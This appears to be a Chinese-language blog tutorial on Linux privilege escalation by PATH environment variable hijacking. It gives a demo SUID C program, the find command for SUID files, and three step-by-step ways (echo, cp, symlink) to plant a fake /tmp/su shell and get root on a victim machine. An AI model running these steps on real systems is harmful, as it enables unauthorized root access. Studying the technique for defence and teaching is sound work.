前言
上一篇文章给大家介绍了linux中的内核提权的一些知识点不知道大家学的怎么样了,今天给大家带来一个全新的提权方法——“环境变量提权”,本文会介绍关于环境变量提权的基本知识以及利用方法。
环境变量提权
PATH是Linux系统中的环境变量,指定存储可执行程序的所有bin和sbin目录,通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。有时环境变量会存在 ‘.’, 这是因为程序环境变量并不是完整的路径,这就是我们可以利用的点。
基础知识
先简单说一下环境变量提权的基本流程:
调用文件(c语言)-编译-复制文件-增加环境变量-执行触发
环境变量
在 Linux 系统中,环境变量是用来定义系统运行环境的一些参数,比如每个用户不同的home目录,下面列举一些重要的环境变量:
对于环境变量的知识值得注意的是Linux的命令通常都存放在/bin、/sbin目录下,我们通过命令查看当前用户相关的环境变量。
echo $PATH
上面echo的路径都是一些可以找到可执行程序的目录列表。当我们输入一个指令时,shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中寻找这些应用程序。
我们写一段demo来尝试一下:
#include
void main() {
setuid(0);
setgid(0);
system("su - xino");
}
setuid 规定了其运行用户,意思是通过root权限切换到xino用户,我们需要编译一下并赋予suid权限:
gcc demo.c -o shell
chmod u+s shell
在赋予权限后我们查看该文件权限,发现是SUID权限,对于SUID之前已经讲过了,有兴趣的小伙伴可以去之前的文章了解,简单来说我们可以以root权限运行文件。我们查询suid文件:
find / -perm -u=s -type f 2>/dev/null
发现了我们构造的shell文件,于是我们尝试执行一下,执行后发现当前用户切换了:
ls
./shell
了解到这里之后,我们思考一下,我们找到了具有SUID权限的文件,用户的环境变量可以自定义,那我们让另一个位置的环境配置在当前环境之前,就可以进行环境变量的劫持了。
下面就简单简述一下环境变量提权的方法:
提权方法
当我们进入了受害者机器,并且查到了具有SUID权限的我们所编译的文件,那么可以尝试以下方法来获取管理员权限,原理基本差不多,都是通过修改环境变量路径来进行提权。
echo命令法
echo "/bin/bash" > /tmp/su
chmod 777 /tmp/su
echo $PATH
export PATH=/tmp:$PATH
cd /srv
./shell
cp法
cp /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell
软链接法
ln -s /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell
分析
上面的方法为什么能进行提权呢,我们简单分析一下:
cp /bin/sh /tmp/su
上面代码的意思就是将sh复制到/tmp目录下的su文件接着分析:
export PATH=/tmp:$PATH
进入/tmp目录执行su( ./su(执行/bin/sh) ) ,因为环境变量加入了/tmp下。之后我们执行
./shell
就是root权限运行了,也就说明我们提权成功了。
结语
今天给大家带来了环境变量提权比较简单的方法不知道大家听明白了没有,环境变量提权中比较重要的就是结合suid权限来展开,本文只是简单列举了其中的几个方法,因为本人也很少用这种方法,可能理解的不是很到位望大佬们指点,如果喜欢本文不妨一键三连支持一下。